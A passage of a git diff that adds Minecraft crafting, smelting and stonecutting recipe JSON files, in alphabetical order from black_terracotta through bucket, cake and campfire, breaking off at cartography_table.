00000000..f10ac468 --- /dev/null +++ b/src/data/minecraft/recipes/black_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:black_dye" + } + }, + "result": { + "item": "minecraft:black_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_wool.json b/src/data/minecraft/recipes/black_wool.json new file mode 100644 index 00000000..748f9074 --- /dev/null +++ b/src/data/minecraft/recipes/black_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:black_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:black_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blackstone_slab.json b/src/data/minecraft/recipes/blackstone_slab.json new file mode 100644 index 00000000..8aa1f44c --- /dev/null +++ b/src/data/minecraft/recipes/blackstone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:blackstone" + } + }, + "result": { + "item": "minecraft:blackstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blackstone_slab_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/blackstone_slab_from_blackstone_stonecutting.json new file mode 100644 index 00000000..fbf0337a --- /dev/null +++ b/src/data/minecraft/recipes/blackstone_slab_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:blackstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blackstone_stairs.json b/src/data/minecraft/recipes/blackstone_stairs.json new file mode 100644 index 00000000..ccb230e1 --- /dev/null +++ b/src/data/minecraft/recipes/blackstone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:blackstone" + } + }, + "result": { + "item": "minecraft:blackstone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blackstone_stairs_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/blackstone_stairs_from_blackstone_stonecutting.json new file mode 100644 index 00000000..c9a0c3c6 --- /dev/null +++ b/src/data/minecraft/recipes/blackstone_stairs_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:blackstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blackstone_wall.json b/src/data/minecraft/recipes/blackstone_wall.json new file mode 100644 index 00000000..dd4e7a7d --- /dev/null +++ b/src/data/minecraft/recipes/blackstone_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:blackstone" + } + }, + "result": { + "item": "minecraft:blackstone_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blackstone_wall_from_blackstone_stonecutting.json b/src/data/minecraft/recipes/blackstone_wall_from_blackstone_stonecutting.json new file mode 100644 index 00000000..fe098066 --- /dev/null +++ b/src/data/minecraft/recipes/blackstone_wall_from_blackstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:blackstone" + }, + "result": "minecraft:blackstone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blast_furnace.json b/src/data/minecraft/recipes/blast_furnace.json new file mode 100644 index 00000000..ea0c1170 --- /dev/null +++ b/src/data/minecraft/recipes/blast_furnace.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "III", + "IXI", + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_stone" + }, + "X": { + "item": "minecraft:furnace" + }, + "I": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:blast_furnace" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blaze_powder.json b/src/data/minecraft/recipes/blaze_powder.json new file mode 100644 index 00000000..b7be6952 --- /dev/null +++ b/src/data/minecraft/recipes/blaze_powder.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:blaze_rod" + } + ], + "result": { + "item": "minecraft:blaze_powder", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_banner.json b/src/data/minecraft/recipes/blue_banner.json new file mode 100644 index 00000000..f079c788 --- /dev/null +++ b/src/data/minecraft/recipes/blue_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:blue_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:blue_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_bed.json b/src/data/minecraft/recipes/blue_bed.json new file mode 100644 index 00000000..e2ff2178 --- /dev/null +++ b/src/data/minecraft/recipes/blue_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:blue_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:blue_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_bed_from_white_bed.json b/src/data/minecraft/recipes/blue_bed_from_white_bed.json new file mode 100644 index 00000000..7f8c551a --- /dev/null +++ b/src/data/minecraft/recipes/blue_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:blue_dye" + } + ], + "result": { + "item": "minecraft:blue_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_carpet.json b/src/data/minecraft/recipes/blue_carpet.json new file mode 100644 index 00000000..246e62fa --- /dev/null +++ b/src/data/minecraft/recipes/blue_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:blue_wool" + } + }, + "result": { + "item": "minecraft:blue_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_carpet_from_white_carpet.json b/src/data/minecraft/recipes/blue_carpet_from_white_carpet.json new file mode 100644 index 00000000..30dddcfa --- /dev/null +++ b/src/data/minecraft/recipes/blue_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:blue_dye" + } + }, + "result": { + "item": "minecraft:blue_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_concrete_powder.json b/src/data/minecraft/recipes/blue_concrete_powder.json new file mode 100644 index 00000000..c739f624 --- /dev/null +++ b/src/data/minecraft/recipes/blue_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:blue_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_dye.json b/src/data/minecraft/recipes/blue_dye.json new file mode 100644 index 00000000..5ddf1a9c --- /dev/null +++ b/src/data/minecraft/recipes/blue_dye.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "blue_dye", + "ingredients": [ + { + "item": "minecraft:lapis_lazuli" + } + ], + "result": { + "item": "minecraft:blue_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_dye_from_cornflower.json b/src/data/minecraft/recipes/blue_dye_from_cornflower.json new file mode 100644 index 00000000..a15fc5d2 --- /dev/null +++ b/src/data/minecraft/recipes/blue_dye_from_cornflower.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "blue_dye", + "ingredients": [ + { + "item": "minecraft:cornflower" + } + ], + "result": { + "item": "minecraft:blue_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_glazed_terracotta.json b/src/data/minecraft/recipes/blue_glazed_terracotta.json new file mode 100644 index 00000000..590f11ee --- /dev/null +++ b/src/data/minecraft/recipes/blue_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:blue_terracotta" + }, + "result": "minecraft:blue_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_ice.json b/src/data/minecraft/recipes/blue_ice.json new file mode 100644 index 00000000..d28f4b21 --- /dev/null +++ b/src/data/minecraft/recipes/blue_ice.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:packed_ice" + } + }, + "result": { + "item": "minecraft:blue_ice" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_stained_glass.json b/src/data/minecraft/recipes/blue_stained_glass.json new file mode 100644 index 00000000..4b1d0f77 --- /dev/null +++ b/src/data/minecraft/recipes/blue_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:blue_dye" + } + }, + "result": { + "item": "minecraft:blue_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_stained_glass_pane.json b/src/data/minecraft/recipes/blue_stained_glass_pane.json new file mode 100644 index 00000000..53f76b3a --- /dev/null +++ b/src/data/minecraft/recipes/blue_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:blue_stained_glass" + } + }, + "result": { + "item": "minecraft:blue_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/blue_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..82e02fca --- /dev/null +++ b/src/data/minecraft/recipes/blue_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:blue_dye" + } + }, + "result": { + "item": "minecraft:blue_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_terracotta.json b/src/data/minecraft/recipes/blue_terracotta.json new file mode 100644 index 00000000..a5606c91 --- /dev/null +++ b/src/data/minecraft/recipes/blue_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:blue_dye" + } + }, + "result": { + "item": "minecraft:blue_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/blue_wool.json b/src/data/minecraft/recipes/blue_wool.json new file mode 100644 index 00000000..7703b8ab --- /dev/null +++ b/src/data/minecraft/recipes/blue_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:blue_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bone_block.json b/src/data/minecraft/recipes/bone_block.json new file mode 100644 index 00000000..803fdbbe --- /dev/null +++ b/src/data/minecraft/recipes/bone_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "XXX", + "XXX" + ], + "key": { + "X": { + "item": "minecraft:bone_meal" + } + }, + "result": { + "item": "minecraft:bone_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bone_meal.json b/src/data/minecraft/recipes/bone_meal.json new file mode 100644 index 00000000..52ffbecf --- /dev/null +++ b/src/data/minecraft/recipes/bone_meal.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "bonemeal", + "ingredients": [ + { + "item": "minecraft:bone" + } + ], + "result": { + "item": "minecraft:bone_meal", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bone_meal_from_bone_block.json b/src/data/minecraft/recipes/bone_meal_from_bone_block.json new file mode 100644 index 00000000..53a2d4a3 --- /dev/null +++ b/src/data/minecraft/recipes/bone_meal_from_bone_block.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "bonemeal", + "ingredients": [ + { + "item": "minecraft:bone_block" + } + ], + "result": { + "item": "minecraft:bone_meal", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/book.json b/src/data/minecraft/recipes/book.json new file mode 100644 index 00000000..1994cdc3 --- /dev/null +++ b/src/data/minecraft/recipes/book.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:leather" + } + ], + "result": { + "item": "minecraft:book" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/book_cloning.json b/src/data/minecraft/recipes/book_cloning.json new file mode 100644 index 00000000..f17b05fb --- /dev/null +++ b/src/data/minecraft/recipes/book_cloning.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_bookcloning" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bookshelf.json b/src/data/minecraft/recipes/bookshelf.json new file mode 100644 index 00000000..d4ff4f7f --- /dev/null +++ b/src/data/minecraft/recipes/bookshelf.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "XXX", + "###" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "X": { + "item": "minecraft:book" + } + }, + "result": { + "item": "minecraft:bookshelf" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bow.json b/src/data/minecraft/recipes/bow.json new file mode 100644 index 00000000..c1426e20 --- /dev/null +++ b/src/data/minecraft/recipes/bow.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " #X", + "# X", + " #X" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:string" + } + }, + "result": { + "item": "minecraft:bow" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bowl.json b/src/data/minecraft/recipes/bowl.json new file mode 100644 index 00000000..b5da0233 --- /dev/null +++ b/src/data/minecraft/recipes/bowl.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + " # " + ], + "key": { + "#": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:bowl", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bread.json b/src/data/minecraft/recipes/bread.json new file mode 100644 index 00000000..e3542657 --- /dev/null +++ b/src/data/minecraft/recipes/bread.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:wheat" + } + }, + "result": { + "item": "minecraft:bread" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brewing_stand.json b/src/data/minecraft/recipes/brewing_stand.json new file mode 100644 index 00000000..986306c9 --- /dev/null +++ b/src/data/minecraft/recipes/brewing_stand.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " B ", + "###" + ], + "key": { + "B": { + "item": "minecraft:blaze_rod" + }, + "#": { + "tag": "minecraft:stone_crafting_materials" + } + }, + "result": { + "item": "minecraft:brewing_stand" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick.json b/src/data/minecraft/recipes/brick.json new file mode 100644 index 00000000..90974f89 --- /dev/null +++ b/src/data/minecraft/recipes/brick.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:clay_ball" + }, + "result": "minecraft:brick", + "experience": 0.3, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick_slab.json b/src/data/minecraft/recipes/brick_slab.json new file mode 100644 index 00000000..49cd85a9 --- /dev/null +++ b/src/data/minecraft/recipes/brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:bricks" + } + }, + "result": { + "item": "minecraft:brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick_slab_from_bricks_stonecutting.json b/src/data/minecraft/recipes/brick_slab_from_bricks_stonecutting.json new file mode 100644 index 00000000..693c225f --- /dev/null +++ b/src/data/minecraft/recipes/brick_slab_from_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:bricks" + }, + "result": "minecraft:brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick_stairs.json b/src/data/minecraft/recipes/brick_stairs.json new file mode 100644 index 00000000..4a8a928c --- /dev/null +++ b/src/data/minecraft/recipes/brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:bricks" + } + }, + "result": { + "item": "minecraft:brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick_stairs_from_bricks_stonecutting.json b/src/data/minecraft/recipes/brick_stairs_from_bricks_stonecutting.json new file mode 100644 index 00000000..73daa508 --- /dev/null +++ b/src/data/minecraft/recipes/brick_stairs_from_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:bricks" + }, + "result": "minecraft:brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick_wall.json b/src/data/minecraft/recipes/brick_wall.json new file mode 100644 index 00000000..c3e564da --- /dev/null +++ b/src/data/minecraft/recipes/brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:bricks" + } + }, + "result": { + "item": "minecraft:brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brick_wall_from_bricks_stonecutting.json b/src/data/minecraft/recipes/brick_wall_from_bricks_stonecutting.json new file mode 100644 index 00000000..fd1c37c9 --- /dev/null +++ b/src/data/minecraft/recipes/brick_wall_from_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:bricks" + }, + "result": "minecraft:brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bricks.json b/src/data/minecraft/recipes/bricks.json new file mode 100644 index 00000000..1c4fadf5 --- /dev/null +++ b/src/data/minecraft/recipes/bricks.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:brick" + } + }, + "result": { + "item": "minecraft:bricks" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_banner.json b/src/data/minecraft/recipes/brown_banner.json new file mode 100644 index 00000000..b18a7dca --- /dev/null +++ b/src/data/minecraft/recipes/brown_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:brown_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:brown_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_bed.json b/src/data/minecraft/recipes/brown_bed.json new file mode 100644 index 00000000..1dcc26a0 --- /dev/null +++ b/src/data/minecraft/recipes/brown_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:brown_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:brown_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_bed_from_white_bed.json b/src/data/minecraft/recipes/brown_bed_from_white_bed.json new file mode 100644 index 00000000..97305089 --- /dev/null +++ b/src/data/minecraft/recipes/brown_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:brown_dye" + } + ], + "result": { + "item": "minecraft:brown_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_carpet.json b/src/data/minecraft/recipes/brown_carpet.json new file mode 100644 index 00000000..2cbcad79 --- /dev/null +++ b/src/data/minecraft/recipes/brown_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:brown_wool" + } + }, + "result": { + "item": "minecraft:brown_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_carpet_from_white_carpet.json b/src/data/minecraft/recipes/brown_carpet_from_white_carpet.json new file mode 100644 index 00000000..c129639d --- /dev/null +++ b/src/data/minecraft/recipes/brown_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:brown_dye" + } + }, + "result": { + "item": "minecraft:brown_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_concrete_powder.json b/src/data/minecraft/recipes/brown_concrete_powder.json new file mode 100644 index 00000000..9243a2f7 --- /dev/null +++ b/src/data/minecraft/recipes/brown_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:brown_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:brown_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_dye.json b/src/data/minecraft/recipes/brown_dye.json new file mode 100644 index 00000000..b46d98c3 --- /dev/null +++ b/src/data/minecraft/recipes/brown_dye.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "brown_dye", + "ingredients": [ + { + "item": "minecraft:cocoa_beans" + } + ], + "result": { + "item": "minecraft:brown_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_glazed_terracotta.json b/src/data/minecraft/recipes/brown_glazed_terracotta.json new file mode 100644 index 00000000..11003344 --- /dev/null +++ b/src/data/minecraft/recipes/brown_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:brown_terracotta" + }, + "result": "minecraft:brown_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_stained_glass.json b/src/data/minecraft/recipes/brown_stained_glass.json new file mode 100644 index 00000000..b3a2f452 --- /dev/null +++ b/src/data/minecraft/recipes/brown_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:brown_dye" + } + }, + "result": { + "item": "minecraft:brown_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_stained_glass_pane.json b/src/data/minecraft/recipes/brown_stained_glass_pane.json new file mode 100644 index 00000000..9f10b1ae --- /dev/null +++ b/src/data/minecraft/recipes/brown_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:brown_stained_glass" + } + }, + "result": { + "item": "minecraft:brown_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/brown_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..7e20375c --- /dev/null +++ b/src/data/minecraft/recipes/brown_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:brown_dye" + } + }, + "result": { + "item": "minecraft:brown_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_terracotta.json b/src/data/minecraft/recipes/brown_terracotta.json new file mode 100644 index 00000000..e3dc3927 --- /dev/null +++ b/src/data/minecraft/recipes/brown_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:brown_dye" + } + }, + "result": { + "item": "minecraft:brown_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/brown_wool.json b/src/data/minecraft/recipes/brown_wool.json new file mode 100644 index 00000000..92e20fcb --- /dev/null +++ b/src/data/minecraft/recipes/brown_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:brown_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:brown_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/bucket.json b/src/data/minecraft/recipes/bucket.json new file mode 100644 index 00000000..f648245b --- /dev/null +++ b/src/data/minecraft/recipes/bucket.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + " # " + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:bucket" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cake.json b/src/data/minecraft/recipes/cake.json new file mode 100644 index 00000000..1c50885e --- /dev/null +++ b/src/data/minecraft/recipes/cake.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "AAA", + "BEB", + "CCC" + ], + "key": { + "A": { + "item": "minecraft:milk_bucket" + }, + "B": { + "item": "minecraft:sugar" + }, + "C": { + "item": "minecraft:wheat" + }, + "E": { + "item": "minecraft:egg" + } + }, + "result": { + "item": "minecraft:cake" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/campfire.json b/src/data/minecraft/recipes/campfire.json new file mode 100644 index 00000000..3cdb1580 --- /dev/null +++ b/src/data/minecraft/recipes/campfire.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " S ", + "SCS", + "LLL" + ], + "key": { + "L": { + "tag": "minecraft:logs" + }, + "S": { + "item": "minecraft:stick" + }, + "C": { + "tag": "minecraft:coals" + } + }, + "result": { + "item": "minecraft:campfire" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/carrot_on_a_stick.json b/src/data/minecraft/recipes/carrot_on_a_stick.json new file mode 100644 index 00000000..a78fe1f9 --- /dev/null +++ b/src/data/minecraft/recipes/carrot_on_a_stick.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + " X" + ], + "key": { + "#": { + "item": "minecraft:fishing_rod" + }, + "X": { + "item": "minecraft:carrot" + } + }, + "result": { + "item": "minecraft:carrot_on_a_stick" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cartography_table.json b/src/data/minecraft/recipes/cartography_table.json new file mode 100644 index 00000000..1fac415b --- /dev/null +++ 